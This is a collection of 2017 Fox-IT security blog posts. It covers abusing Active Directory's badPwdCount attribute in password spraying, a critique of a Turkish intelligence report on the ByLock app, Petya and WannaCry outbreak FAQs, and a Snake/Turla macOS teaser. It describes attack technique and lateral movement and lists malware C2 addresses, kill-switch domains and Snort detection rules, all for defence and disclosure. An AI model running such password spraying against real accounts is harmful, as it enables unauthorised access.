Further abusing the badPwdCount attribute

Posted on November 28, 2017 by fdominguezsantos

Researched and written by Rindert Kramer

Introduction

At Fox-IT, we often do internal penetration tests for our customers. One of the attacks that we perform is password spraying. In a password spraying attack the attacker tries to authenticate as one of the user accounts that is found in Active Directory using a common password. These passwords vary from Summer2017 to Welcome01 and often yield a promising lead to continue towards the goal of becoming domain administrator.

Password history check (N-2)

Most companies for which we perform penetration tests use Active Directory as their primary source for user accounts. These user accounts adhere to the password policy that is configured, whether it’s a domainwide or a finegrained password policy.
Typically, the following settings are configured in such a policy:

Number of passwords to remember (password history);
Lockout threshold. After x attempts the domain controller will lock the user account;
Lockout time. The ‘cool down’ period after a user account has been locked due to too many invalid authentication attempts.

If a user tries to authenticate with a wrong password, the domain controller who handles the authentication request will increment an attribute called badPwdCount. By default, this value is 0. Every time a user fails to authenticate correctly, this value is incremented by the domain controller. Note that this value is not replicated throughout the domain but is only stored on the domain controller the user tries to authenticate to and is synchronized with the domain controller that holds the primary domain controller (PDC) role. Thus the PDC is holding the true value of the badPwdCount-attribute. If the value in the badPwdCount-attribute reaches the threshold that is set in the password policy, the domain controller will lock the account. The user then cannot authenticate until the cool down period is over.

But what happens if you store your password on all sorts of devices (for authenticating with Exchange, Skype For Business, etc.) and you change your password? That would result in Exchange, Windows or any other service trying to authenticate with an invalid password. If everything works correctly, you should be locked out very soon because of this. However, this is not the case.

If NTLM or Kerberos authentication is used and the user tries to authenticate with a password that is the same as one of the last two entries of their password history, the badPwdCount-attribute is not incremented by the domain controller. That means that the domain controller won’t lock the user account after x failed authentication attempts even though the specified password is incorrect.

Password history N-2 is only supported when NTLM or Kerberos authentication is used and if the authentication provider sends the invalid requests to the PDC. This rules out some authentication types such as digest or RADIUS. PEAP and PEAP-CHAP are certificate based and thus the RADIUS server will not send the failed authentication request to the PDC.
MS-CHAPv2 uses your NTLM hash for authentication though, but it is packed together with challenge or response data and a session identifier into a SHA-hash and sent to the authentication provider. A failed authentication is terminated on the authentication provider and is not forwarded to the PDC. The badPwdCount-attribute gets will get incremented after a failed authentication attempt, even if the user used his previous password.

Attack vector

There is a cool script that takes the value of the badPwdCount-attribute into account when doing a password spraying attack. However, there is another attack vector we can abuse.

Let’s say, as an example, that user john.doe@fox-test.local had Spring2017 as his previous password but since he had to change his password, he now uses Summer2017 as password. The attacker queries the primary domain controller for the value of the badPwdCount-attribute for user john.doe@fox-test.local and tries to authenticate with username john.doe@fox-test.local and password Spring2017. The attacker then queries the primary domain controller again for the value of the badPwdCount-attribute again and would conclude that the attribute has not been incremented. The attacker then applies some logic and tries to authenticate with password Summer2017. Since this is the correct password, the attacker will successfully authenticate as john.doe@fox-test.local.
The following code demonstrates how to do this in PowerShell:

ps_test

The badPwdCount-attribute is, by default, readable for every user account and computer account in the Active Directory. If an attacker has the disposal of credentials of a domain user, he can query the value for the badPwdCount-attribute for any given user. If the attacker does not have credentials of a domain user but does have the credentials of a local administrative account of a domain joined computer, he can use the computer account to authenticate to Active Directory.

To demonstrate this attack, Fox-IT wrote a Metasploit module and a PowerShell script as Proof of Concept (PoC). The script and module will hopefully be available in Metasploit soon but can also be downloaded here: https://github.com/rapid7/metasploit-framework/pull/9195/files

The Metasploit module acts as a wrapper for the PowerShell script and is capable of the following:

Test credentials for a configurable number of user accounts;
Show successful authentications;
Store credentials of users who successfully authenticated in the MetaSploit database;
Show useraccounts where the badPwdCount-attribute not has been incremented;
Autoincrement passwords up to two times. That means that Welcome01 becomes Welcome02, etc.

Result of running the module when only checking the password and if the badPwdCount-attribute has been incremented:

spray_check

Result of brute-forcing (for a maximum of 2 times) when the badPwdCount-attribute has not been incremented:

bruted

Please keep the following in mind when using the MetaSploit module:

Although the script keeps the current badPwdCount-value into account when trying to authenticate, Fox-IT cannot guarantee that the script will not lock out user accounts;
If a user account is expired and the correct password is used, the user will fail to authenticate but the badPwdCount-attribute will also not increment.

Remediation

To remediate this issue, Fox-IT advises the following:

Enforce the use of strong and secure passwords. As you can read everywhere on the internet, a secure password consists of both lower and uppercase characters, numbers and special characters. However, longer passwords take more time to crack it, because the time to crack a password will increase significantly with each added character.
For example, Fox-IT can successfully crack the NTLM hash of a password that has 8 characters within 10 hours, while cracking an NTLM of a password that has 10 characters would take up to eleven years;
Use passphrases. Passphrases can easily exceed 14 characters, which will also eliminate the possibility of an LM-hash;
Use your IDS or IPS (or any other system of your choosing) for detecting password spraying attacks.

References

Fox-IT debunks report on ByLock app that landed 75,000 people in jail in Turkey

Posted on September 13, 2017 by foxitcorporate

The Turkish government has been actively pursuing the prosecution of the participants of the Gülen movement in what it calls “the Fetullahist Terrorist Organization/Parallel State Structure (FETÖ/PDY)”. To this end, the Turkey’s National Intelligence Organization (Millî İstihbarat Teşkilatı or MİT in Turkish) has investigated the relation of a publicly available smart phone messaging application called ByLock to “FETÖ/PDY”, which is alleged to have been used during the failed coup attempt in Turkey on July 15, 2016.

The MİT is reported to have identified 215,092 users of the ByLock. Of which approximately 75,000 were detained. In an attempt to link a user of ByLock to a real person, the MİT has written a report on its findings which concluded that “ByLock has been offered to the exclusive use of the ‘FTÖ/PDY’ members”.

However, the investigation performed by Fox-IT contradicts the key findings of the MİT. Fox-IT also discovered inconsistencies in the MİT report that indicated manipulation of results and/or screenshots by MİT. What is more, Fox-IT found that the MİT investigation is fundamentally flawed due to the contradictory and baseless findings, lack of objectivity and lack of transparency.

Overall, Fox-IT concluded that the quality of the MİT report is very low, especially when it was weighed against the legal consequences of the conclusions which is the detention of 75,000 Turkish citizens.

This blog contains the conclusions of Fox-IT’s expert witness report. You can also download the full report of Fox-IT and the technical MİT report. The translated version of the MIT report will be made available later.

Reports

Fox-IT’s Expert Witness Report can be downloaded here.

md5: 3dac076d4e0d9d8984533bc04be336a7
sha1: 450ba8665d3a508d569bbc7ec761e9793e42d9c6
sha256: 7dbc402b8e03c311245814fb74dff699330d459f2067ecd574974538086caa7e

MIT’s Technical Report can be downloaded here.

md5: a9f18e08db62ef1c1f71101d37589157
sha1: 68a86e7b8b78c9d1493cb63318dba1f09cc62437
sha256: 17768d91bdae3e78499cb20214bf83abe49948a5d5f41c1aa35a1d1561dd0e62

Conclusions

1. What is Fox-IT’s opinion on the investigation methodology used by MIT in the ByLock investigation?

Multiple key findings from the MIT investigation were contradicted by open-source research conducted by Fox-IT and other findings were shown not to be supported by the evidence presented by MIT. Furthermore, the MIT investigation lacks in transparency: evidence and analysis steps were in many cases omitted from the MIT report. Multiple findings (that could be verified) were shown to be incorrect, which leaves the impression that more findings would proof to be incorrect or inaccurate if they could only be verified.

Fox-IT finds the MIT investigation lacking in objectivity, since there is no indication that MIT investigated the alternative scenario: namely that ByLock has not exclusively been offered to members of the alleged FTÖ/PDY. Investigating alternate scenarios is good practice in an investigation. It helps prevent tunnel vision in cases where investigators are biased towards a predefined outcome. Fox-IT’s examination of the MIT investigation suggests that MIT was, in advance, biased towards the stated conclusion and that MIT has not shown the required objectivity and thoroughness in their investigation to counter this bias.

Fox-IT concludes that the MIT investigation as described in the MIT report does not adhere to the forensic principles as outlined in section 3.1 of this report and should therefore not be regarded as a forensic investigation. The investigation is fundamentally flawed due to the contradicted and unfounded findings, lack of objectivity and lack of transparency. As a result, the conclusions of the investigation are questionable. Fox-IT recommends to conduct a forensic investigation of ByLock in a more thorough, objective and transparent manner.

2. How sound is MIT’s identification of individuals that have used the ByLock application?

The MIT report contains very limited information on the identification of individuals. Fox-IT has shown that ByLock user accounts are, on their own, difficult to attribute to an individual: it is easy to impersonate other individuals when registering a ByLock account and MIT is limited to an IP address from the ByLock server log to identify individuals. Attributing this IP address to actual individuals is not straightforward and error-prone; therefore, possibly leading to identification of the wrong individuals as ByLock users.

Fox-IT is unable to assess the soundness of the identification method, since the MIT report does not provide information on this method. The omission of a description of this method is troubling. Any errors in the method will not be discovered and the reader is left to assume MIT does not make mistakes. While transparency is one of the fundamental principles of forensic investigations, this critical part of the investigation is completely opaque.

3. What is the qualification of soundness on MIT’s conclusion regarding the relation between ByLock and the alleged FTÖ/PDY?

The conclusions and findings of the MIT report were examined by Fox-IT. It was shown that the argumentation is seriously flawed and that seven out of nine stated arguments are incorrect or questionable (see conclusion 6.1). The remaining two arguments are, on their own, not sufficient to support MIT’s conclusion. As a result, the conclusion of the MIT report, “ByLock has been offered to the exclusive use of the members of the terrorist organization of FTÖ/PDY”, is not sound.

4. Are there any other issues identified by Fox-IT that are relevant to the ByLock investigation?

Fox-IT encountered inconsistencies in the MIT report that indicate manipulation of results and/or screenshots by MIT. This is very problematic since it is not clear which of the information in the report stems from original data and which information was modified by MIT (and to which end). This raises questions as to what part of the information available to MIT was altered before presentation, why it was altered and what exactly was left out or changed. When presenting information as evidence, transparency is crucial in differentiating between original data (the actual evidence) and data added or modified by the analyst.

Furthermore, Fox-IT finds the MIT report implicit, not well-structured and lacking in essential details. Bad reporting is not merely a formatting issue. Writing an unreadable report that omits essential details reduces the ability for the reader to scrutinize the investigation that lead to the conclusions. When a report is used as a basis for serious legal consequences, the author should be thorough and concise in the report as to leave no questions regarding the investigation.
Fox-IT has read and written many digital investigation reports over the last 15 years. Based on this experience, Fox-IT finds the quality of the MIT report very low, especially when weighed against the consequences of the conclusions.

FAQ about PETYA/GOLDENEYE/PETR outbreak

Posted on June 28, 2017 by krijndemik

Revision history:

29th of June, 2017 18:00 (UTC +2) – Update 2 (current) – Added Q11
28th of June, 2017 22:00 (UTC +2) – Update 1 – Initial FAQ

Q1 Is the Petya attack still in progress?
A: The initial attack vector appears to have been the accounting software M.E.Doc, for which a malicious software update was pushed, that was executed by clients in an automated fashion. Multiple organisations confirmed that this was their initial infection vector. After the initial infection vector Petya can utilize different kind of spreading mechanisms:

Using the EternalBlue and EternalRomance exploits, which are both exploits of the NSA that were published on the 14th of April 2017 by the Shadow Brokers. These exploits can be used to gain unauthorized access to remote Windows systems and execute malicious software with administrative privileges. Using a variety of methods, both legitimate and illegitimate. The following 4 steps are followed by the malware to spread itself:

Tries to find credentials:
- Method 1: Uses a custom tool to extract credentials from memory (code similarities with MimiKatz and accesses Windows LSASS process)
- Method 2: Steals credentials from the credential store on the infected systems
Makes an inventory of the local network for other machines. If found, it checks whether port 139 or 445 is open
Checks via WebDAV whether the enumerated systems have already been infected. If this is not the case, it will transfer the malware to the other systems via SMB;
Utilizes PSEXEC or WMI tools, to remotely execute the malware.

Please note that the initial infection vector of the M.E.Doc update (and a related watering hole attack on a Ukrainian website) were cleaned. However, Petya can still spread to the following networks for a limited amount of time, based on the functionality outlined above:

The local network (reserved IP spaces);
To remote networks of third parties that are directly connected with the networks that contain systems that are already infected with Petya.

Q2 Which attack vectors are used to enter internal networks of organizations?
A At the moment the first infection method that has been observed in the wild concerns the infected update from M.E.Doc. After initial entry into an internal network of an affected organization has been obtained, different spreading methods are used to further infect systems. These methods include the NSA exploits EternalBlue and EternalRomance in combination with harvesting and reusing passwords to perform remote command execution (with psexec and WMI) on other systems.

Q3 Are only companies affected that use M.E.Doc?
A No, the attack initially targeted organizations that were using M.E.Doc, but the worm also spread to other (connected) organizations that were not related to M.E.Doc.

Q4 How is it possible that I became infected with Petya, while being full up to date and having all patches installed?
A: The Microsoft patch MS17-010 protects Windows systems against direct infection by the EternalBlue and EnternalRomance NSA-exploits. However, Petya includes additional methods to spread to Windows systems.

Most notably, the Petya malware can extract local Administrator and domain credentials from systems that are initially infected (for example because these systems were not patched). Subsequently, the malware can leverage these administrative credentials in combination with legitimate Microsoft tools and protocols (PSEXEC and WMI) to infect fully patched Windows systems.

Q5 How can I check if my organization is at risk for the Petya attack?
A Checking if you are at risk for this attack involves multiple actions, due to the fact that the attack itself uses different methods to propagate within networks. The following actions can be performed to identify potential vulnerable machines within the network:

Perform a network portscan to identify systems on which the TCP ports 139 and 445 are open. The more machines that are accessible on these ports, the more potential risk of the attack spreading to large amounts of systems within the network.
Perform a vulnerability scan to identify machines which are missing the MS17-010 (and the KB2871997) patch. If the patches are missing, the identified systems are vulnerable to the one of the spreading and infection methods used by the malware.
Perform an inventarisation of administrative credentials to identify if there are passwords shared between multiple machines. If this is the case, the systems which can be accessed using these administrative credentials are vulnerable to one of the spreading and infection methods used by the malware.
- The most important accounts to focus on during this inventarisation are accounts with elevated privileges such as local Administrator accounts and domain accounts with local administrator privileges.

It is important to consider that the infection, privilege escalation and lateral movement techniques used by the Petya malware are also frequently used during penetration testing on internal networks. It is therefore advised to review previous reports that followed internal penetration tests to get a quick overview of relevant vulnerabilities and to ensure that penetration tests on the internal networks are performed periodically.

Q6 We have infected machines what can we do to recover them? Should we pay the ransom?
A The email address that was used by the attackers to receive payments and release decryption keys has been blocked by the email provider. This makes it impossible for the actor(s) behind the Petya malware to confirm the payments and return the decryption keys to its victims. It is therefore not recommended to pay the ransom of $300 (or the equivalent in the Bitcoin currency) as requested by the malware authors.

Please note that after a system is infected, the malware attempts to spread before it is rebooted and the encryption process is started. Consequently, if a system is infected with Petya, but has not yet been rebooted or the fake CHKDSK process has not been completed, it may still prove possible to (partially) recover data from the infected system.

Q7 Do you know anything about the target of the Petya attack or the actors behind it?
A One of the few confirmed facts is that initially infections occurred due to an infected update from the Ukraine based company M.E.Doc. The software of this company is both broadly and mostly used by organizations in the Ukraine. These organizations within the Ukraine were thus initially targeted by the Petya attack.

This fact, combined with some of the characteristics of the attack, have led to extensive speculation in regard to the actors behind the attack (of which the grugq provides an extensive overview). However, at the moment there is no definitive public evidence to attribute the attack to a specific actor. The investigation into the purpose of the attack and the actors behind the attack are still being actively investigated by Fox-IT and many others.

Q8 How does the Petya attack differ from the Wanacry/Wannacrypt attack?
A This Petya attack seems to be more targeted than Wanacry. While WanaCry included functionality to scan for vulnerable systems on the Internet, the Petya attack primarily targets other systems within the restricted IP spaces of affected networks.
One of the few similarities between Petya and Wanacry concerns the usage of the SMB exploit EternalBlue, which is an exploit that was originally used by the NSA and was subsequently leaked by the Shadow Brokers. This is the only spreading vector of Petya which can be stopped and prevented by installing the MS17-010 patch. The other spreading vectors cannot be fully reduced by patching the systems, although installing the KB2871997 patch can reduce the impact of the other spreading vector.

In addition to EternalBlue, Petya includes further methods for spreading using lateral movement techniques such as credential re-use, PSEXEC and WMI. These techniques, which are often used in manual attacks by advanced attackers as well as during penetration tests on internal networks, have now been adapted and incorporated into an automated attack by the attackers in the Petya malware.

In regards to the encryption of the files Petya and Wanacry differ in the way that the system is rendered inoperable. Petya, in addition to encrypting individual files also encrypts critical operating system components thereby rendering the system inoperable after a reboot. The encryption of the individual files differs due to the way that the files are encrypted as well as the file types that are targeted.

Q9 I have heard rumors about an antidote or kill switch, is this true?
A Petya does not have a remote killswitch in the same way as was present in Wanacry. That is, there is no universal way to stop all Petya infections from occurring. A more limited and local way to prevent the Petya malware from spreading does exist, which is also referred to as a “killswitch” or an “antidote”.

This local antidote involves placing a file called “perfc” or “perfc.dat” in the C:\Windows directory. The reason why this works is because Petya checks if that file exists before infecting a vulnerable system. If the file exists, Petya won’t infect the system. Please note that Petya actually checks for a file with the same name as the filename that it was started from. So if the Petya file is renamed to “example.dll”, subsequent variants of that strain of the Petya malware will actually check if C:\Windows\example” exists, instead of “perfc”. It just so happens to be that “perfc” is the filename of the main variant that’s currently spreading.

Q10 Are the patches for Wanacry and Petya automatically installed by Windows Update?
A On supported operating systems the patch can be installed through the Windows update mechanism. If Windows update has been configured to update automatically, these systems should have been updated with MS17-010 several months ago. However, this is not the case on unsupported operating systems such as Windows 2003, XP and 8. Microsoft has released patches for these operating systems that need to be downloaded and applied manually.

Q11 Will Petya encrypt network drives as well?
A In the regular file encryption part of Petya, it will try and encrypt files on every disk drive available to the victim machine. Notably, it will only encrypt local hard drives, and not network drives that are mounted as a hard drive. It does this by checking which type of drive it is, and only encrypt drives that is a fixed media, for example a hard disk drive or flash drive.

Liveblog: Huge Petya ransomware wave

Posted on June 27, 2017 by lennarthaagsma

Revision history:

Update 2 (current): 28th of June, 2017 22:45 (UTC +2) – Added Snort rule for detection purposes
Update 1: 27th of June, 2017 18:04 (UTC +2) – Initial post

A new variant of the Petya ransomware started to spread havoc within various companies around the world the 27th of June 2017 . The first news came from the Ukraine where at least two energy companies were struck.

WannaCry

This Petya variant comes only weeks after the WannaCry hack made headlines around the world where hundreds of thousands devices were infected.

This variant of Petya has more spreading methods than WannaCry (in specific PSEXEC and WMI) but does share at least one of the exploits, namely: EternalBlue, which is an exploit leaked by ‘The Shadowbrokers’ and originally used by the NSA.

The Petya ransomware was in the news earlier this year for encrypting the entire hardisk rather than only files on local and remote drives, something which is more common with other ransomware.

Source

Cisco Talos reports that the infections started in Ukraine following the auto-update feature of software by the Ukrainian company Me-Doc. Attackers likely got access to the Me-Doc update servers, using the update feature of the software to infect all their, mostly Ukrainian customers. This explains the disruptions observed within various Ukrainian companies, including airports, hospitals and other vital infrastructure. This supports what Fox-IT is observing, affected companies have business in Ukraine and observed initial Petya activity from those networks.

Because of the various spreading mechanisms of Petya the ransomware managed to reach companies in other countries, most likely as a result of existing network connections between (branch) offices or suppliers.

Infection

When a computer gets infected with this specific version of Petya, it starts to encrypt files on the local machine and also attempts to spread across the local network to other machines.

After a number of hours, the infected client is restarted and is faced with a ransom screen. At this point it is no longer possible to start the Windows operating system. On this ransom screen a bitcoin address is shown, together with a string of text that uniquely identifies this infection as well as the email address to contact the authors when the payment has been made.

Infection vector

Where WannaCry was scanning random IP addresses on the internet, and in that way infecting other companies, this version of Petya is only scanning internal hosts. This means that there must be a different initial infection vector. What this vector exactly is, is unknown for the time being. If the ransomware is run on a Windows Server, it will attempt to spread to all connected clients by looking at DHCP-leases, to greatly improve spreading speed within a network.

Prevention

The following measures can be taken to limit the chances of infection:

Apply Windows update MS17-010
Disable the outdated protocol SMBv1
Limit the use of accounts that are ‘local administrator’
Make back-ups and verify that they can be restored

Detection

Currently the Fox-IT CTMP network module is able to detect a number of the spreading methods of Petya and work is being done to identify other methods of spreading. Among others the following rule has been developed:

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"FOX-SRT - Trojan - Possible Petya ransomware connection"; flow:established,to_server; uricontent:"admin$/"; content:"User-Agent: Microsoft-WebDAV-MiniRedir/"; http_header; classtype:trojan-activity; threshold:type limit, track by_src, count 1, seconds 600; reference:url,https://blog.fox-it.com/2017/06/27/liveblog-huge-petya-ransomware-wave/; sid:21002170; rev:1;)

FAQ on the WanaCry ransomware outbreak

Posted on May 13, 2017 by maartenvandantzigfoxit

Last updated: May 16th 2017

A ransomware variant known as WanaCry/WanaCrypt0r has spread on a massive scale around the world since the 12th of May 2017. For more information about the context with regards to this WanaCry variant, see also our earlier blog. The section below outlines the frequently asked questions and corresponding answers.

Q: What makes this ransomware variant so dangerous?
A: This variant of WanaCry posesses the capability to spread itself as a so-called worm, beside the fact that the ransomware starts encrypting possible important data on systems. This means that the initial infection in a network is possibly not only system that could be impacted, but potentialy a large amount of systems in the internal network as well. This might result in your business processes coming to a grinding halt.

Q: What was the initial infection vector for the ransomware outbreak?
A: As there is no evidence that the initial infection vector is email, after 72 hours of research by the security community, Fox-IT believes the infection vector is more likely to be vulnerable machines directly exposing SMB to the internet.
At the moment it appears that the only confirmed infection vector is the usage of the ETERNALBLUE SMB exploit.

Q: Which versions of Windows are vulnerable?
A: The SMB exploit works on all versions of Windows, which have not yet been patched by MS17-010 on the 14th of March 2017, except for Windows 10 and Windows Server 2016, as they are already protected in the default configuration.

Q: What about Windows XP?
A: Microsoft has also released a patch for the unsupported operating systems Windows XP and Windows Server 2003.

Q: Are we safe from WanaCry if we apply the security update to Windows Server 2003?
A: Yes, but the patch KB4012598 applies specifically to this SMB exploit, known as ETERNALBLUE. However, similar NSA exploits, leaked by the Shadow Brokers, for vulnerabilities in Windows Server 2003 and Windows XP were published that lead to remote code execution (RCE). This includes the ERRATICGOPHER exploit for SMBv1 and the ESTEEMAUDIT exploit for RDP, which could be repurposed by malicious actors to create the next ransomworm.

Q: How many endpoints are affected?
A: The sinkhole statistics currently show a total of 160,000+ infections, this amount is still rapidly increasing.

Q: Should we block the ‘kill-switch’ domain on our firewall/proxy?
A: No you should not. When the malware is capable of reaching the ‘kill-switch’ domain it will not further spread the malware. Please note that when you block this domain, it will in fact continue spreading both internal and external.

Q: Is the kill switch domain being monitored (counting infections, origin infections)?
A: Yes the sinkhole statistics can be found here.

Q: Do we expect new attacks with the same Modus Operandi (MO)?
A: This is very likely, as this is a lucrative way of earning money for criminals. It is unknown at what moment in time a new attack will start and we do not have indications at this point in time that another campaign is scheduled.

Q: Where can I find the ‘kill switch’ domain?
A: Two ‘kill-switch’ domains have been seen in the wild:

iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
ifferfsodp9ifjaposdfjhgosurijfaewrwergwea.com

Q: Is the malware persistant and will it become active after a reboot of the end point.
A: Yes, a registry run-key is added to the registry:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\\ = “\tasksche.exe”

Q: How can I check if an endpoint was infected?
A: Though there is no specific script there are several specific indicators for this ransomware campaign which can be used to detect compromised machines, such as:

HKLM\SOFTWARE\WanaCrypt0r\\wd = “”
HKCU\Control Panel\Desktop\Wallpaper: “\@WanaDecryptor@.bmp”

Q: Is CIFS also vulnerable?
A: CIFS is a dialect of the SMBv1 protocol, and is impacted by this vulnerability.

Q: What impact will disabling SMB v1 have on end users?
A: Please note that this might differ depending on the situation. It is highly recommended to follow the best practices with regards to applying patches, meaning that a thorough impact assessment needs to take place to determine the actual impact of disabling SMBv1. Please note that at least those systems that could solely communicate via SMBv1 will be impacted, for example an old file sharing system.

Q: What are Anti-Virus vendors doing about this?
A: It seems logical that most cybersecurity companies are currently working on finding out all of the details that are related to this attack. It also seems very likely that all cybersecurity vendors are creating prevention and detection capabilities. Though new detection or prevention capabilities can only be applied if updates for these products are being downloaded and installed. We would not encourage customers to focus and wait on these vendors to prevent these kind of attacks but rather focus on installing the Microsoft update (MS17-010) that will prevent the spreading completely.

Q: What if infected laptops are currently offline because people are enjoying their weekends and are returning on monday?
A: It depends on which stage the infection is in the victim machine. If the machine has already been infected and was half way during the infection then it is very likely that the victim machine will continue encrypting files and start spreading when it will become active again. Therefor we strongly suggest to install the Microsoft update (MS17-010).

Q: What are the chances that a new campaign will be launched with more or improved functionality?
A: Based on our experience it is very likely that the same or other attacker(s) will start launching new campaigns rather sooner then later. We expect that they have learned from the small mistakes they have made in the initial version, such as not registering the ‘kill switch’ domain. They could also improve the malwares functionalities that can bypass current prevention or detection techniques. Therefor we strongly suggest to install the Microsoft update (MS17-010).

Additionally, the exploitation of this vulnerability will serve as an example for other (cyber) criminals seeking to achieve similar goals, so called copycats.

Q: Do we have to block the the ‘kill switch’ domain in the firewall, or other security controls like Proxy Servers?
A: NO! Do not block access to the unique ‘kill switch’ domain as infected clients will then start using the SMB exploit against reachable machines that are vulnerable.

The unique ‘kill-switch’ domain has been registrered by a known security researcher. By doing this the ransomware and the spreading mechanism used in the current malware campaign will not function.
If you block access to this domain then an infected client will start encrypting all of your files and will start spreading to available vulnerable devices.

Q: Does the ‘kill-switch’ domain need a valid HTTP connection or is resolving this domain name enough for the malware to stop functioning?
A: Yes, the ‘kill-switch’ domain does need a valid HTTP connection to a webserver listening on port 80. If the malware is not able to make a succesfull connection on port 80 it will start the ransomware and spreading process.

Q: Is the Linux Samba equivalent also vulnerable?
A: No, the Linux Samba protocol is not vulnerable to this exploit, only the Microsoft SMB protocol, without the latest Microsoft patch (MS17-010) installed, is affected.

Q: There are some reports of WannaCry variants with no ‘kill-switch’ functionality, have you seen this?
A: Yes, Fox-IT has this variant. It seems that someone modified the original malware sample. Likely with a common tool like hexedit. There has been another sample where the ‘kill switch’ domain has been completely patched out, thus resulting in a corrupt binary. Fox-IT is actively monitoring for new versions of the WanaCry ransomware.

Q: Has the ransomware’s implementation of the encryption process been looked at, to see if files are recoverable?
A: The crypto that is used in the malware seems to have been implemented in an unbreakable way. At this point decryption does not seem possible.

Q: Is there anything known about what group is behind this ransomware campaign?
A: Fox-IT, like other security researchers, is investigating connections of WanaCry to other known groups.

Massive outbreak of ransomware variant infects large amounts of computers around the world

Posted on May 12, 2017 by maartenvandantzigfoxit

Today, May 12th 2017, a ransomware variant known as WanaCry is being spread on a massive scale around the world.
Once a computer is infected it will attempt to infect other machines on the same network using a recently patched vulnerability in the Windows SMB protocol.

Update: We have published an FAQ to answer additional questions about the ransomware outbreak

Prevention

Apply Windows update MS17-010
Microsoft has also released a patch for Windows XP.
Disable the outdated protocol SMBv1
Do not allow connections to the RDP or SMB protocol directly from the internet
Isolate unpatched or unsupported systems from the internal network
Make back-ups and verify that they can be restored

About this campaign

This ransomware campaign is especially dangerous as it spreads itself through the internal network using a recently patched Windows vulnerability.
Once a machine is infected it will scan the entire internal network and infect vulnerable machines.

Machines are not required to be connected to the internet for the encryption process to take place.

The exploit used by this ransomware campaign was leaked by a group known as the ‘Shadow Brokers’ and has now been repurposed by the attackers behind this campaign to infect machines in internal networks. Microsoft has released a patch for this specific vulnerability (MS17-010) on March 14th 2017. Machines that have been patched are not vulnerable to the exploit, but could still be infected through other infection methods such as phishing e-mails.

Impact

After looking at the ransomware’s code Fox-IT noticed that the malware had a hardcoded kill switch which could disable all functionality.
Once the ransomware is running on a victim’s machine it tries to connect to the domain iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea[.]com.
If the connection succeeds, the binary exits and will not start encrypting files nor start spreading.

It appears that a fellow security researcher (@MalwareTechBlog) spotted the domain and found out it was not registered by the attackers.
This was a sloppy mistake by the hackers, given the large campaign it was engaged in.
This security researcher has registered the domain name and as soon it was replying to requests it seems that the kill switch in the malware became active. This means that anyone who has received the actual phishing email but did not open it yet appears to have been saved.
The domain seems to be registered at 17:08:04 CEST. This could be one of the possible exaplanations as to why the hardcoded Bitcoin wallets have not received a large amount of Bitcoins.

The large amount of damage caused today and all international press attention have given everybody a heads up of what to expect.
With the majority of the big organisations starting with their weekend, offices are closed. System administrators and security personal could use this weekend to take prevention, detection and response measures. If everyone comes back in the office by Monday and a new wave of phishing attacks would start, without a kill-switch, the damage could be far less than expected at this stage. Though we have learned a lot, the cyber criminals will have as well.

Detection

Snort signatures from Emerging Threats are available for the ETERNALBLUE exploit:

alert tcp any any -> $HOME_NET any (msg:"ET EXPLOIT Possible ETERNALBLUE MS17-010 Heap Spray"; flow:to_server,established; content:"|ff|SMB|33 00 00 00 00 18 07 c0 00 00 00 00 00 00 00 00 00 00 00 00 00|"; offset:4; depth:25; content:"|08 ff fe 00 08 41 00 09 00 00 00 10|"; within:12; fast_pattern; content:"|00 00 00 00 00 00 00 10|"; within:8; content:"|00 00 00 10|"; distance:4; within:4; pcre:"/^[a-zA-Z0-9+/]{1000,}/R"; threshold: type threshold, track by_src, count 12, seconds 1; classtype:trojan-activity; sid:2024217; rev:1;)
alert tcp any any -> $HOME_NET any (msg:"ET EXPLOIT Possible ETERNALBLUE MS17-010 Echo Request (set)"; flow:to_server,established; content:"|00 00 00 31 ff|SMB|2b 00 00 00 00 18 07 c0|"; depth:16; fast_pattern; content:"|4a 6c 4a 6d 49 68 43 6c 42 73 72 00|"; distance:0; flowbits:set,ETPRO.ETERNALBLUE; flowbits:noalert; classtype:trojan-activity; sid:2024220; rev:1;)
alert tcp $HOME_NET any -> any any (msg:"ET EXPLOIT Possible ETERNALBLUE MS17-010 Echo Response"; flow:from_server,established; content:"|00 00 00 31 ff|SMB|2b 00 00 00 00 98 07 c0|"; depth:16; fast_pattern; content:"|4a 6c 4a 6d 49 68 43 6c 42 73 72 00|"; distance:0; flowbits:isset,ETPRO.ETERNALBLUE; classtype:trojan-activity; sid:2024218; rev:1;)

The ransomware itself communicates using the Tor protocol.

Infection vector

One of the confirmed infection vectors is the usage of the ETERNALBLUE exploit directly on machines which have SMB directly exposed to the internet.

This chapter previously stated that we were in the process of verifying if phishing e-mails were also an infection vector for the WanaCry ransomware. Thus far Fox-IT has found no evidence that any phishing e-mails were related to this specific ransomware outbreak, and we have therefor removed the related indicators from this blog.

Command and Control servers

cwwnhwhlz52ma.onion
gx7ekbenv2riucmf.onion
xxlvbrloxvriy2c5.onion
57g7spgrzlojinas.onion
76jdd2ir2embyv47.onion

Bitcoin addresses

Available languages in the ransomware

m_bulgarian
m_chinese (simplified)
m_chinese (traditional)
m_croatian
m_czech
m_danish
m_dutch
m_english
m_filipino
m_finnish
m_french
m_german
m_greek
m_indonesian
m_italian
m_japanese
m_korean
m_latvian
m_norwegian
m_polish
m_portuguese
m_romanian
m_russian
m_slovak
m_spanish
m_swedish
m_turkish
m_vietnamese

Danny Heppener, Erik Schamper, Maarten van Dantzig & Frank Groenewegen
Fox-IT Threat Intelligence

Snake: Coming soon in Mac OS X flavour

Posted on May 3, 2017 by maartenvandantzigfoxit

Summary

Snake, also known as Turla, Uroburos and Agent.BTZ, is a relatively complex malware framework used for targeted attacks¹.

Over the past year Fox-IT has been involved in multiple incident response cases where the Snake framework was used to steal sensitive information. Targets include government institutions, military and large corporates.

Researchers who have previously analyzed compromises where Snake was used have attributed the attacks to Russia². Compared to other prolific attackers with alleged ties to Russia, such as APT28 (Fancy Bear) and APT29 (Cozy Bear), Snake’s code is significantly more sophisticated, its infrastructure more complex and targets more carefully selected.

The framework has traditionally focused on the Windows operating system, but in 2014 the first Linux variant was observed³.

Now, Fox-IT has identified a version of Snake targeting Mac OS X.
As this version contains debug functionalities and was signed on February 21st, 2017 it is likely that the OS X version of Snake is not yet operational.
Fox-IT expects that the attackers using Snake will soon use the Mac OS X variant on targets.

Functionality

For Windows versions the architecture of Snake typically consists of a kernel mode driver designed to hide the presence of several Snake components and to provide low-level access to network communication. Depending on the architecture of a targeted machine either kernel or user mode is used for network communication.

